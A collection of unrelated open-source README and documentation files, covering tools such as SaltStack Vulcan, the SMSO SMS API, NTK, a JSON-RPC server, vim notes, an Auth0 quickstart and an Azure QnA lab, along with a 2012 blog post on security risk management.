- Train a model to classify "No mask" and "Mask" status with MobileNets. Accuracy > 98%
- Use pre-train Face detection model to catch faces


text:
---
layout: post
title: "Are We More Secure Today?"
excerpt: "Yesterday I was asked a question in passing.  The question was this
--Are we more secure today?  My reflexive answer was..."
modified: 2012-04-13
tags: [Security Management]
comments: false
category: blog
---

Yesterday I was asked a question in passing.  The question was this --_Are
we more secure today?_  My reflexive answer was “yes, we get more secure
every day.”  After all, how else could I justify my employment?  This
question challenged me on many levels.  The first thoughts were how can you
qualitatively measure security?  Do we _feel_ more secure today?  Why do
I _feel_ more secure today?  Is it based on what my security experts
told me?  And what are they basing their opinion on?

Next my thoughts turned to the lessons of 9/11 and the asymmetric nature of the
cyber-security battle.
Just last week, Shawn Henry the FBI's “top cyber cop” told the Wall Street
Journal that more and more FBI agents, while working on other cases, are
encountering data stolen from companies who had no idea that their systems had
been compromised.

"We have found their data in the middle of other investigations,'' he
said."They are shocked and, in many cases, they've been breached for many
months, in some cases years, which means that an adversary had full visibility
into everything occurring on that network, potentially.'' [(See the WSJ article.)](http://online.wsj.com/article/SB10001424052702304177104577307773326180032.html)

What does being “more secure” mean?  Security is about managing risks, not
eliminating them.  After all, every transaction has inherent risk because trust
is involved.  So a proper answer to the question “Are we more secure today”
really involves a discussion about risk.  Risk drives the train.  Ok, so are we
better at managing our risks today?

There are two types of risks---the known and the unknown.  The best thing about
known risks is that they can be managed.  An important first step is
identifying all of the risks and then prioritizing them.  In the field of
security, risk is defined as the likelihood of a threat acting on a specific
vulnerability.  Once risks are known, management of the risks involves
decisions to either accept the risk or reduce it to an acceptable level.  Risks
can also be transferred.  This is often done with insurance policies or
contractual service level agreements.

Security is less about deploying technology--it’s more about doing the right
things, right.  In that sense, security is closely related to quality assurance
and financial management.  There are security industry benchmark measurements
that can be used to quantitatively measure security improvement efforts.  World
class companies have hard measurements that can be used to answer the daily
question--are we more secure today?  Implementing metrics requires
organizational process maturity and some tactical investments in technology. In
depth knowledge of one’s current security posture will allow the organization
to chart a course for sustainable security improvement, and this really should
be the goal of every company.

repository: mlmargotto/DecSecOpsTools

repo_name: mlmargotto/DecSecOpsTools


text:
# saltstack-vulcan

Vulcan is a formula build tool for SaltStack. The idea is to assemble formulas from remote Git repositories to create an atomic 'build' for deployment.

SaltStack has a native [package manager](https://docs.saltstack.com/en/latest/topics/spm/) which is a system package manager (SPM). It assembles formulas from remote locations but is geared towards assembling on the Salt master itself and requires extra metadata.

Salt is also capable of loading formulas from Git using a [fileserver_backend](https://docs.saltstack.com/en/latest/ref/configuration/master.html#std:conf_master-fileserver_backend) however this too is geared towards assembly on the host itself.

The goal of this project is to make it easy to assemble formulas from Git repositories during a build stage running on something like Jenkins. After assembly, all files can be delivered to Salt master(s) in an atomic way. This makes it easier to keep multiple masters sync'd and Docker based Salt master deployments easier.

## Installation

```bash
sudo pip install saltstack-vulcan -U
```

## Configuration

Configuration is handled by a local YAML file. By default, $PWD/vulcan.yaml is used. An alternative path can be set with the --config flag.

Formula configuration is stored as a list of dictionaries. Each formula has the following attributes. Only 'name' and 'url' are required however it is best practice to set the branch and revision as well.

- **name**: A name for the formula for example 'apache' or 'mysql'. This is required.
- **url**: Git URL for the project. This is required.
- **branch**: Name of branch for checkout. Defaults to 'master'.
- **revision**: Git revision to use. If this does not exists, an exception will be thrown. Defaults to 'HEAD'.
- origin_name**: If renaming a formula, the origin_name of the formula must be used to determine the change. Defaults to value of 'name' if not set.
- **install_directory**: Directory to install formula into. Defaults to ./formulas.

  Formula build tool for SaltStack.

  See https://github.com/iamseth/saltstack-vulcan for documentation.

Options:
  --debug        Enables debug mode.
  --config PATH  Configuration file path. Defaults to ./vulcan.yaml.
  --version      Show the version and exit.
  --help         Show this message and exit.

Commands:
  install  Install all non-installed formulas.
  update   Update or install formulas.
```

repository: iamseth/saltstack-vulcan

repo_name: iamseth/saltstack-vulcan


text:
## title
Offirmo’s Universal Web Dev Tool

## Summary
Get convenient dev features for your JavaScript code with no downsides

## Detailed Description
This is for web developers writing complex/semi-complex JavaScript.

Remember the last time you had no clue about what your code was doing?

Wishing you could just turn logs on on a prod version?

This extension is a companion to Offirmo’s Universal Debug API, which provides your webapp with:
- loggers with controllable log level
- local overrides of variables
- debug commands (in beta)
- exposition of internal data (in beta)

Along with a UI to conveniently control those features.

You'll have to modify your source code
to include and use "Offirmo’s Universal Debug API" (https://universal-debug-api-js.netlify.app/)
but this comes at nearly no cost
since you only have to bundle/use a very small "placeholder" version, doing nothing at all.

However, when this extension is used and active,
the placeholder version will be dynamically replaced by an active version,
served by the extension.
The replacement is done synchronously before any other code can execute,
so it just works without any complex setup.

## Screenshots
> 1280x800 or 640x400
> JPEG or 24-bit PNG (no alpha)
> At least one is required. Up to a maximum of 5.

> Small Promo Tile
> 440x280 Canvas
> JPEG or 24-bit PNG (no alpha)

> Large Promo Tile
> 920x680 Canvas
> JPEG or 24-bit PNG (no alpha)

> Marquee Promo Tile
> 1400x560 Canvas
> JPEG or 24-bit PNG (no alpha)

## Official Url
https://www.offirmo.net

## Homepage Url
https://github.com/Offirmo/offirmo-monorepo/wiki/Offirmo%E2%80%99s-Universal-Web-Debug-Tool
https://github.com/Offirmo/offirmo-monorepo/tree/master/4-tools/universal-debug-api-companion-webextension

## Support Url
https://github.com/Offirmo/offirmo-monorepo/issues

## Google Analytics ID


text:
# Authentication

> To authorize, use this code:

```shell
# With shell, you can just pass the correct header with each request
curl -H "X-Authorization: API-KEY"  "https://app.smso.ro/api/v1/"

# full example as query string
curl "https://app.smso.ro/api/v1/send?sender=4&to=0722334455&body=Message%20Body&apiKey=API-KEY"

```

```php
<?php

// via file_get_contents
$opts = [
    "http" => [
        "method" => "POST",
        "header" => "X-Authorization: API-KEY"
    ]
];

$context = stream_context_create($opts);

$content = file_get_contents('https://app.smso.ro/api/v1/', false, $context);

var_dump($content);

// via guzzle
use GuzzleHttp\Client;

$client = new Client;
$request =  $client->request('GET', 'https://app.smso.ro/api/v1/', [
    'headers' => [
        'X-Authorization' => 'API-KEY',
    ],
]);

var_dump(json_decode($request->getBody()->getContents()));

```

```javascript
// soon
```

> Make sure to replace `API-KEY` with your Tean's API key from our [developer page](https://app.smso.ro/developers/api).

SMSO uses API keys to allow access to the API. You can register a new SMSO API key at our [developer page](https://app.smso.ro/developers/api).

SMSO expects for the API key to be included in all API requests to the server in a header that looks like the following:

1. Via a header: `X-Authorization: API-KEY`
2. Via a query string, either POST OR GET, just append it to the URL like *&apiKey=API-KEY*

You must replace API-KEY with your personal API key.

repository: smso/slate

repo_name: smso/slate


text:
NTK
=============

NETLab Toolkit JavaScript Version

NTK (the NETLab Toolkit) is a visual authoring system for designers, developers, makers, researchers and students who want to design and build tangible Internet of Things projects. With a simple drag and drop interface, connect sensors, actuators, media and networks with the smart widgets. Concepts can be prototyped quickly, encouraging iteration, experimentation and testing by sketching in hardware.

NTK works with the original Arduino and newer Linux embedded systems like the Intel Edison. And NTK can be easily adapted to do new things. The Code widget allows users to add custom Javascript. And with a bit more expertise, users can create their own, reusable widgets.

Go ahead, Drag and Drop the Internet of Things.

Installation instructions below. For more information and documentation, please see the project website.

<http://netlabtoolkit.org/>

Sign up for NTK news here:

<http://netlabtoolkit.org/join/>

Installation
---------------------

If you only want to run NTK, there are double-clickable app and command line versions, and there is a simple installation procedure:

<http://netlabtoolkit.org/download/>
<http://www.netlabtoolkit.org/install-ntk/>

For development purposes, use the below installation process:
---------------------

### Node, NPM (one time only)

You must first install node and npm if you have not already done so.

* Mac or Windows - Install Node and NPM from the official [Node.js website](http://nodejs.org/), using their standard installer (we've tested up to v4.2.2)
* Linux – You most likely have Node/NPM already installed but can also install via your distribution's [https://nodejs.org/en/download/package-manager/](package manager).
* If you are on Raspberry Pi, then you probably have an outdated version of Node. Here's a nice & easy upgrade method: https://github.com/DonaldDerek/rPi-cheat-sheet

If you are on a Mac, you may need to install the Xcode command line tools by installing Xcode (free from the Mac app store).

### Dependencies (one time only)

You will also need to install command-line tools: Ruby, bower, SASS, and the require.js build tool if you do not have them already:
```
npm install -g bower
npm install -g requirejs

sudo gem update --system
sudo gem install sass
```
NOTE: On Mac OS X El Capitan v10.11, there's an issue with installing gems. For the above use:
```
sudo gem update --system -n /usr/local/bin
sudo gem install -n /usr/local/bin sass
```
Ref: <https://github.com/sass/sass/issues/1768>
### Current Build System for NTK

To install the build system and source for this version of NETLab Toolkit:
```
git clone https://github.com/netlabtoolkit/ntk.git
cd ntk
bower install
npm install
npm run build
```
Note: if you are running Linux, you will have to set proper permissions on your Arduino in order to use it.
For instance:
```
# Linux users only
sudo chmod a+rw /dev/ttyUSB0
```

Starting the server
---------------------
To run NTK as a **standard command-line application**:

```
npm start
```
Note: if you've made any changes or this is the first time you are running it, you should rerun "npm run build" before "npm start".

To run NTK as a **live-reload development server**, run grunt by:
```
npm run dev
```

To Build a Distributable Application
---------------------
After installing bower, SASS, requirejs build tool, etc. as noted above, run these commands to build:
```
npm run package
```

This will place the distributable builds in a folder named "packaged" in the main NTK directory.

Creating a New Widget
---------------------
See this page for details: <http://www.netlabtoolkit.org/documentation/create-your-own-widget/>

repository: netlabtoolkit/ntk

repo_name: netlabtoolkit/ntk


text:
# JSON-RPC 2.0 Server supporting PSR-7
[![Build Status](https://app.travis-ci.com/procurios/JsonRpc.svg?branch=master)](https://app.travis-ci.com/github/procurios/JsonRpc)
[![Coverage Status](https://coveralls.io/repos/procurios/JsonRpc/badge.svg?branch=master&service=github)](https://coveralls.io/github/procurios/JsonRpc?branch=master)

## Server
The server is a *complete* implementation of the [JSON-RPC 2.0 specification](http://www.jsonrpc.org/specification).
The server will expose public methods of an object or a static class which can be optionally limited using an interface or specific parent class.

To encourage interface segregation there is no support for other methods like closures or global functions.

### Features

- Full specification including notifications, both parameters by name and by position and batch requests
- Default values are used for skipped arguments
- Variadic arguments are supported
- PSR-7 compatible: This server can directly handle implementations of ```Psr\Http\Message\ServerRequestInterface```, returning an implementation of ```Psr\Http\Message\ResponseInterface```, as defined in [PSR-7](http://www.php-fig.org/psr/psr-7/)

### Requirements
PHP >= 8.0

## Example

### Subject classes

#### MyInterface
```php
<?php
interface MyInterface
{
    public function foo();
}
```

#### MySubjectClass
```php
<?php
class MySubjectClass implements MyInterface
{
    public function foo()
    {
        return 'foo';
    }

    public function bar()
    {
        return 'bar';
    }
}
```

### Handle request directly
```php
<?php
use Procurios\Json\JsonRpc\Server;
use Procurios\Json\JsonRpc\Request\Request;

$requestData = json_decode(file_get_contents('php://input'), true);
$Request = Request::fromArray($requestData);

$Server = new Server(new MySubjectClass);
$Response = $Server->handleRequest($Request);

header('Content-Type: application/json');
die($Response->asString());
```

### Handle PSR-7 ServerRequestInterface
```php
<?php
use Procurios\Json\JsonRpc\Server;

$Server = new Server(new MySubjectClass);

// Use the current Psr\Http\Message\ServerRequestInterface implementation in your application
$Request = MyRequestSource::getRequest();

// Create an empty implementation of Psr\Http\Message\ResponseInterface
$BaseResponse = MyResponseFactory::createResponse();

$Response = $Server->handleServerRequest($Request, $BaseResponse);

MyResponseEmitter::emit($Response);
```

### Limit subject to an interface
```php
<?php
use Procurios\Json\JsonRpc\Server;

$Server = new Server(new MySubjectClass, MyInterface::class);

// Only the method foo will be available in this server, since bar is not part of the interface
```


text:
---
title: Congratulations and welcome!
template: base.j2

---
This is your first handroll site! Congratulations.

You'll notice that things are a little sparse around here.
We think that your content is your own.
What we've included here is enough to get you on your feet
without burying you in details.

When you look around,
you'll find a `handroll.conf` configuration file,
a [Jinja](http://jinja.pocoo.org/) template,
a CSS file,
and a [Markdown](http://daringfireball.net/projects/markdown/) file
with the content of this page.
With these examples to guide you,
create some new content
or change the style!

If you aren't ready to begin,
that's ok.
Let's walk you through how to work
using handroll.

## Working with handroll

handroll has two main methods
of building your website.
handroll can build a site
by scanning over the source,
generating the content,
and then stopping.
Alternatively,
handroll can build a site
by watching the source directory
and building each piece of content
as it changes.

The more convenient way to work
is with the watcher.
When handroll is using the watcher,
the tool will also run a small web server.
This web server allows you to see your changes right away.
To play with this site
using the watcher, run:

```console
$ handroll -w mysite/source
```

repository: handroll/handroll

repo_name: handroll/handroll


text:
# JCAL Parameter estimation based on surface impedance measurements

Fits different variations of the JCAL parameters to the surface impedance
measurements obtained from experiments.

Details : [WCCM2020 Talk](resources/202101_WCCM2020.pdf)

Requires [`jax`](https://github.com/google/jax) for computing jacobians and `scipy` for optimization algorithms.

repository: ROMSOC/benchmarks-acoustic-propagation

repo_name: ROMSOC/benchmarks-acoustic-propagation


text:
{% raw %}

Generates a link that will add (or replace) &property=value to the current request or will remove it if it's already there. Optionally instead of showing the actual value it is possible to show an icon. The icon is more appropriate when filtering by boolean properties.

##### Arguments

property

The name of the entity's property.

value

    The value to be applied to the filter.

icon

    Optional name for the icon instead that will be shown instead of the value.

ignore

    Optional list of arguments that will be ignored and removed from the
    generated request. Sometimes it is needed when in the original request the
    cursor is present and it will be invalid if some of the other
    arguments will have a different value.

> #### Examples & Demo
>
> Check how it is used in [user_list.html](https://github.com/gae-init/gae-init/blob/master/main/templates/user/user_list.html) and play with filters in [User List](https://gae-init.appspot.com/user/?order=-modified).

{% endraw %}


text:
TravelApp

A program that keeps track of expenses for various business trips.
License

Copyright 2015 Sarah Van Belleghem

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

Video Demo: https://archive.org/details/video_demo_201502

Works Consulted
https://www.youtube.com/watch?v=M9DMqg-k38c 2015/01/22
http://www.vogella.com/tutorials/AndroidListView/article.html#androidlists_inputtype 2015/01/22
background from http://wallpaperswa.com/Colors/Green/light_green_minimalistic_fuck_everything_inspirational_gradient_simplistic_simple_2560x1440_wallp_28695/download_640x960 2015/01/24
https://www.youtube.com/watch?v=BkazaAeeW1Q/ 2015/01/25
https://www.youtube.com/watch?v=_h94Kqyc-Ag&src_vid=BkazaAeeW1Q&feature=iv&annotation_id=annotation_114155515 2015/01/25
https://www.youtube.com/watch?v=oPGdPQvqPVM 2015/01/25
https://www.youtube.com/watch?v=XPKb_JqeTp8 2015/01/25
http://stackoverflow.com/questions/3968171/android-split-the-screen-in-2-equals-parts-with-2-listviews 2015/01/25
https://www.youtube.com/watch?v=SaXYFHYGLj4 2015/01/25
http://androidopentutorials.com/android-datepickerdialog-on-edittext-click-event/ 2015/01/26
http://stackoverflow.com/questions/5207029/how-to-sort-a-list-of-objects-by-their-date-java-collections-listobject 2015/01/28
http://www.androidhive.info/2013/07/android-expandable-list-view-tutorial/ 2015/01/28
http://stackoverflow.com/questions/18231802/how-can-i-parse-a-string-to-bigdecimal 2015/01/30
http://examples.javacodegeeks.com/android/core/email/android-sending-email-example/


text:
# Dataset Generation Power Line Transmission Fault
 Power Line Transmission Fault Modeling and Dataset Generation For AI Based Automatic Detection
# Detail characteristic signal measured
	Sampling   			   : 16700 Hz
	Amount  of  sampling  in  1 signal : 334 sampling
	Amount of pre-fault   		   : 10-30 degress
	Voltage signal  3 phases
	Current signal  3 phases
	Type of fault  11 type

# Please cite this paper
https://ieeexplore.ieee.org/document/8909594


text:
# Vim

Notes from vim tutor.

## Modes
v - visual selection mode
V - full line visual selection mode
i - insert mode
a - insert mode on next char
A - insert mode on line end
o - add line below and insert mode
O - add line above and insert mode
x - remove one char
r<char> - replace a char
R - replace multiple chars (like insert key)

## Motions
h,j,k,l - left, down, up, right
gg - file start
G - file end
<num>G - line <num>
w - next word beginning
e - next word ending
b - previous word beginning
0 - line beginning
$ - line ending
<num><motion> - repeat motion n times
ctrl-g - show current line number (and file status)

## Jump to next/prev location
ctrl-o - jump to previous location
ctrl-i - jump to next location

## Undo/redo
u - undo last change
U - undo all changes in the given line
ctrl-r - redo

## Operators
d<motion> - delete text according to the motion
dd - deletes whole line
c<motion> - (change) delete text according to the motion and enter insert mode
cc - changes whole line
p - paste deleted text

Examples:
dw - delete text to the end of the word
d$ - delete text to the end of the line
d2w - delete two words
dd - delete a line
2dd - delete two lines

## Search
/<text> - search <text>
n - next
N - previous
?<text> - search in reverse order

## Replace
:<area>s/<pattern>/<replacement>/<flags> - replace pattern with replacement in a area with flags

Most common:
:%s/ABC/abc - replaces "ABC" with "abc" in the line
:%s/ABC/abc/g - replaces all "ABC" with "abc" whole file
:%s/ABC/abc/gcI - replacement with confirmation and case sensitivity
:%s/x\(.\)x/y\1y - replace with match groups

## copy-paste
v - enter visual mode
V - enter full line visual mode
y - copy text
p - paste

...with out visual selection:
y<motion> - copy text according to motion
yy - copy full line

## Code
% - go to matching (), [], {}

## Commands
:w - write file
:wq - write and exit
:w <filename> - write current buffer or selection as new file
:r <filename/command> - read file or command and paste
:!ls - execute command
:r !ls - paste result of ls to buffer

repository: pmendelski/dotfiles

repo_name: pmendelski/dotfiles


text:
---
title: Introduction
description: This tutorial will show you how to set up and run the React seed project provided by Auth0.
budicon: 715
---

This quickstart guide contains individual sections which demonstrate how to use various Auth0 features in your React applications. Each section has its own sample project which can be downloaded directly from the doc or forked on Github. If you are logged in to your Auth0 account, the samples will have your Auth0 credentials pre-populated for you.

## 1. Create an Application

<%= include('../../_includes/_new_app') %>

![App Dashboard](/media/articles/angularjs/app_dashboard.png)

## 2. Dependencies

<%= include('_includes/_dependencies') %>

All other dependencies are listed in the `package.json` file of each sample application. Webpack is responsible for compiling and bundling everything into a single JavaScript file for all environments, including __development__ with hot module replacement, __testing__ to have Karma running and __production__.

To install everything required to run the application, inside the project folder, run:

`npm install`

## 3. Run in Development Mode

After installing the required dependencies, you will be able to start a local server in development mode with:

`npm start`

Once you start a sample application, you should be able to access it from `localhost:3000` in your browser.

![Starter](/media/articles/reactjs/starter_running.png)

repository: ignaciojonas/docs

repo_name: ignaciojonas/docs


text:
![](http://ForTheBadge.com/images/badges/made-with-python.svg)
![](https://forthebadge.com/images/badges/built-by-developers.svg)</br>
#  The Spirograph
A spirograph is a very interesting geometrical figure which is often symmetrical to both the axes.Here, I’ve used a range of colors to draw circles, you can use your combination as per your color choice.

![](https://github.com/shreyamalogi/Awesome_Python_Scripts/blob/main/GUIScripts/Spirograph/Images/spirograph.png)

About This program draws Spirograph curves using Python and the Turtle library.

To familiarize yourself with what a Spirograph is as well as to see the mathematical derivation of Spirograph curve equations, visit
[wikipedia](https://en.wikipedia.org/wiki/Spirograph)

# PREREQUISITES
* Have Python 3.x setup in the system
* Install all the libraries mentioned in the requirements.txt

#SETUP
We just need to run our program.

# other resources
For Turtle documentation, visit [DOCS](https://docs.python.org/2/library/turtle.html).

For RGB calculator, visit [w3schools](https://www.w3schools.com/colors/colors_rgb.asp).

For Turtle Colors, visit the following resources

[resource 1](https://cs111.wellesley.edu/labs/lab01/colors)

[resource 2](https://trinket.io/docs/colors)

# output video :
[click here to download](https://github.com/shreyamalogi/Awesome_Python_Scripts/blob/main/GUIScripts/spirograph/spirograph.mp4)

path: /GUIScripts/The Spirograph/README.md


text:
# Security Policy

## Supported Versions
.

| Version | Supported          |
| ------- | ------------------ |
| Chrome  | :white_check_mark: |
| Firefox | :x:               |
| Edge    | :white_check_mark: |
| IE      | :white_check_mark: |

Edit: Firefox is now supported :white_check_mark:

## Reporting a Vulnerability

Go to https://RaidMC.xyz "Contact" and type out your message

repository: CheesyBC/raidmcmain

repo_name: CheesyBC/raidmcmain


text:
# Python - SPICE interface and plotting

GNUcap / NGspice voltage multiplier sim.

Used for my Ph.D. qualifying exam, and a follow-on to my
[harmonic radar tag improvements](https://www.scivision.dev/harmonic-radar).

NOTE: Consider using
[PySpice](https://pyspice.fabrice-salvaire.fr)
instead of this approach.

## Prereqs

    apt install gnucap ngspice

## Usage
Simulate no-driver LED problems due to wire voltage drop, using `ledDrop.net` and StringIO to avoid output file mess.

    python ledDrop.py

### Other programs
These programs run from GNU Octave or Matlab.

* `runDub.m` run and plot basic voltage doubler current input and voltage output vs. time
* `runDubTry.m` plot spectrum
* `runDubMult.m` multi-stage voltage multiplier: voltage, current, impedance
* `runMos.m` using MOS simulation

repository: scivision/python-spice

repo_name: scivision/python-spice


text:
# Redis

Redis is an open-source, networked, in-memory, key-value data store with optional durability. It is written in ANSI C. The development of Redis is sponsored by Redis Labs today; before that, it was sponsored by Pivotal and VMware. According to the monthly ranking by DB-Engines.com, Redis is the most popular key-value store. The name Redis means REmote DIctionary Server.

## Start with persistent storage

If persistence is enabled, data is stored in the VOLUME /data

## If you want to use your own redis.conf

Mount a proper config file to /usr/local/etc/redis/redis.conf in the container

repository: rlaneyjr/Dockerfiles

repo_name: rlaneyjr/Dockerfiles


text:
---
lab:
    title: 'Create a QnA Solution'
    module: 'Module 6 - Building a QnA Solution'
---

# Create a QnA Solution

One of the most common conversational scenarios is providing support through a knowledge base of frequently asked questions (FAQs). Many organizations publish FAQs as documents or web pages, which works well for a small set of question and answer pairs, but large documents can be difficult and time-consuming to search.

QnA Maker is a cognitive service that enables you to create a knowledge base of question and answer pairs that can be queried using natural language input, and is most commonly used as a resource that a bot can use to look up answers to questions submitted by users.

In this lab, we will be using the Managed QnA Maker, which is a feature within Text Analytics.

## Create a Text Analytics resource

To create and host a knowledge base using the Managed QnA Maker, you need a Text Analytics resource in your Azure subscription.

1. Open the Azure portal at `https://portal.azure.com`, and sign in using the Microsoft account associated with your Azure subscription.
2. Select the **＋Create a resource** button, search for *Text Analytics*, and create a **Text Analytics** resource.
3. Click **Select** on the **Custom question answering (preview)** block. Then click **Continue to create your resource**. You will need to enter the following settings:

    - **Subscription**: *Your Azure subscription*
    - **Resource group**: *Choose or create a resource group (if you are using a restricted subscription, you may not have permission to create a new resource group - use the one provided)*
    - **Region**: *Choose any available location*
    - **Name**: *Enter a unique name*
    - **Pricing tier**: Standard S
    - **Azure Search location**\*: *Choose a location in the same global region as your QnA Maker resource*.
    - **Azure Search pricing tier**: Free (F) (*If this tier is not available, select Basic (B)*)
    - **Legal Terms**: _Agree_
    - **Responsible AI Notice**: _Agree_

    \*Custom Question Answering uses Azure Search to index and query the knowledge base of questions and answers.

4. Wait for deployment to complete, and then view the deployment details.

## Create a knowledge base

To create a knowledge base in your Text Analytics resource, you can use the QnA Maker portal. In this case, you'll create a knowledge base containing questions and answers about [Microsoft Learn](https://docs.microsoft.com/learn).

1. In a new browser tab, go to the QnA Maker portal at `https://qnamaker.ai` and sign in using the Microsoft account associated with your Azure subscription.
2. At the top of the portal, select **Create a knowledge base**.
3. You have already created a QnA Maker resource, so you can skip step 1. In the **Step 2** section, select the following settings:
    - **Microsoft Azure Directory ID**: The Azure directory containing your subscription.
    - **Azure subscription name**: Your Azure subscription.
    - **Azure QnA Service**: The Text Analytics resource you created previously.
    - **Language**: English (*by default, this option is only available for the first knowledge base you create*).
4. In the **Step 3** section, enter **Learn FAQ** as the name for your knowledge base.

    You can create a knowledge base from scratch, but it's common to start by importing questions and answers from an existing FAQ page or document.

5. In the **Step 4** section:
    - In the **URL** box type `https://docs.microsoft.com/en-us/learn/support/faq` and click **＋ Add URL**.
    - In the **Chit-chat** section, select **Friendly**.
6. In the **Step 5** section, select **Create your KB** and wait for your knowledge base to be created.

## Modify the knowledge base

Your knowledge base has been populated with question and answer pairs from the Microsoft Learn FAQ, supplemented with a set of conversational *chit-chat* question  and answer pairs. You can extend the knowledge base by adding additional question and answer pairs.

1. In the knowledge base, select **＋ Add QnA pair**.
2. In the **Question** box, type `What is Microsoft certification?`
3. Select **＋ Add alternative phrasing** and type `How can I demonstrate my Microsoft technology skills?`.
4. In the **Answer** box, type `The Microsoft Certified Professional program enables you to validate and prove your skills with Microsoft technologies.`

    In some cases, it makes sense to enable the user to follow up on answer to create a *multi-turn* conversation that enables the user to iteratively refine the question to get to the anseer they need.

5. Under the answer you entered for the certification question, select **＋ Add follow-up prompt**.
6. In the **Follow-up Prompt** dialog box, enter the following settings:
    - **Display text**: `Learn more about certification.`
    - **Link to QnA**\*: `You can learn more about certification on the [Microsoft certification page](https://docs.microsoft.com/learn/certifications/).`
    - **Context-only**: Selected. *This option ensures that the answer is only ever returned in the context of a follow-up question from the original certification question.*

    \*Typing in the **Link to QnA** box searches the existing answers in the knowledge base. When no match is found, it defaults to creating a new QnA pair. Note that the text you type here is in Markdown format.

## Train and test the knowledge base

Now that you have a knowledge base, you can test it in the QnA Maker portal.

1. At the top right of the page, click **Save and train** to train your knowledge base.
2. After training has completed, click **← Test** to open the test pane.
3. In the test pane, at the top, *deselect* the box that says *Display Short Answer*. Then at the bottom enter the message *Hello*. A suitable response should be returned.
4. In the test pane, at the bottom enter the message *What is Microsoft Learn?*. An appropriate response from the FAQ should be returned.
5. Enter the message *That makes me happy!* An appropriate chit-chat response should be returned.
6. Enter the message *Tell me about certification*. The answer you created should be returned along with a follow-up prompt button.
7. Select the **Learn more about certification** follow-up button. The follow-up answer with a link to the certification page should be returned.
8. When you're done testing the knowledge base, click **→ Test** to close the test pane.

## Publish the knowledge base

The knowledge base provides a back-end service that client applications can use to answer questions. Now you are ready to publish your knowledge base and access its REST interface from a client.

1. At the top of the QnA Maker page, click **Publish**. Then in the **Learn FAQ** page, click **Publish**.
2. When publishing is complete, view the sample code provided to use your knowledge base's REST endpoint. There is an example for *Postman* and an example for *Curl*.
3. View the **Curl** tab and copy the example code.
4. Start Visual Studio Code and open a terminal pane.
5. Paste the code you copied into the terminal, and then edit it to replace **<your question>** with **What is a learning path?**.
6. Enter the command and view the JSON response that is returned from your knowledge base.

## Create a bot for the knowledge base

Most commonly, the client applications used to retrieve answers from a knowledge base are bots.

1. On the page containing the publishing confirmation and sample Curl code, select **Create Bot**. This opens the Azure portal in a new browser tab so you can create a Web App Bot in your Azure subscription.
2. In the Azure portal, create a Web App Bot with the following settings (most of these will be pre-populated for you):

    *If some values are missing, refresh your browser.*

  - **Bot handle**: *A unique name for your bot*
  - **Subscription**: *Your Azure subscription*
  - **Resource group**: *The resource group containing your QnA Maker resource*
  - **Location**: *The same location as your Text Analytics service*.
  - **Pricing tier**: F0
  - **App name**: *Same as the **Bot handle** with *.azurewebsites.net* appended automatically
  - **SDK language**: *Choose either C# or Node.js*
  - **QnA Auth Key**: *This should automatically be set to the authentication key for your QnA knowledge base*
  - **App service plan/location**: *This may be set automatically to a suitable plan and location if one exists. If not, create a new plan*
  - **Application Insights**: Off
  - **Microsoft App ID and password**: Auto create App ID and password.
3. Wait for your bot to be created (the notification icon at the top right, which looks like a bell, will be animated while you wait). Then in the notification that deployment has completed, click **Go to resource** (or alternatively, on the home page, click **Resource groups**, open the resource group where you created the web app bot, and click it.)
4. In the blade for your bot, view the **Test in Web Chat** page, and wait until the bot displays the message **Hello and welcome!** (it may take a few seconds to initialize).
5. Use the test chat interface to ensure your bot answers questions from your knowledge base as expected. For example, try submitting *What is Microsoft certification?*.

## More information

To learn more about QnA Maker, see the [QnA Maker documentation](https://docs.microsoft.com/azure/cognitive-services/qnamaker/).


text:
## Guides

- PostCSS Deep Dive:

  - [Create your own plugin](https://webdesign.tutsplus.com/tutorials/postcss-deep-dive-create-your-own-plugin--cms-24605)
  - [Miscellaneous goodies](https://webdesign.tutsplus.com/tutorials/postcss-deep-dive-miscellaneous-goodies--cms-24603)
  - [Preprocessing with “PreCSS”](https://webdesign.tutsplus.com/tutorials/postcss-deep-dive-preprocessing-with-precss--cms-24583)
  - [Roll your own preprocessor](https://webdesign.tutsplus.com/tutorials/postcss-deep-dive-roll-your-own-preprocessor--cms-24584)
  - [Shortcuts and shorthand](https://webdesign.tutsplus.com/tutorials/postcss-deep-dive-shortcuts-and-shorthand--cms-24602)
  - [What you need to know](https://webdesign.tutsplus.com/tutorials/postcss-deep-dive-what-you-need-to-know--cms-24535)

- PostCSS Quickstart Guide:

  - [Exploring plugins](https://webdesign.tutsplus.com/tutorials/postcss-quickstart-guide-exploring-plugins--cms-24566)
  - [Gulp setup](https://webdesign.tutsplus.com/tutorials/postcss-quickstart-guide-gulp-setup--cms-24543)
  - [Grunt setup](https://webdesign.tutsplus.com/tutorials/postcss-quickstart-guide-grunt-setup--cms-24545)
  - [Instant setup options](https://webdesign.tutsplus.com/tutorials/postcss-quickstart-guide-instant-setup-options--cms-24536)

- Using PostCSS:
  - [for minification and optimization](https://webdesign.tutsplus.com/tutorials/using-postcss-for-minification-and-optimization--cms-24568)
  - [for cross browser compatibility](https://webdesign.tutsplus.com/tutorials/using-postcss-for-cross-browser-compatibility--cms-24567)
  - [Together with sass, stylus, or less](https://webdesign.tutsplus.com/tutorials/using-postcss-together-with-sass-stylus-or-less--cms-24591)
  - [with BEM and SUIT methodologies](https://webdesign.tutsplus.com/tutorials/using-postcss-with-bem-and-suit-methodologies--cms-24592)

---

[Back to Home](https://github.com/jdrgomes/awesome-postcss)


text:
# Personal website template

This template for [my personal website](http://www.statslab.cam.ac.uk/~qz280/) is based on the [Hugo Academic theme](https://github.com/wowchemy/starter-hugo-academic). See [this post](http://www.statslab.cam.ac.uk/~qz280/post/migrating/) for some tips.

repository: JianqiaoWang/website-template

repo_name: JianqiaoWang/website-template


text:
---
hrs_structure:
  division: '1'
  volume: '2'
  title: '7'
  chapter: 87A
  section: 87A-37
type: hrs_section
tags:
  - Government
menu:
  hrs:
    identifier: HRS_0087A-0037
    parent: HRS0087A
    name: >-
      87A-37 Group life insurance benefits plans for retired employees;
      contributions
weight: 40165
title: Group life insurance benefits plans for retired employees; contributions
full_title: >-
  87A-37 Group life insurance benefits plans for retired employees;
  contributions
---
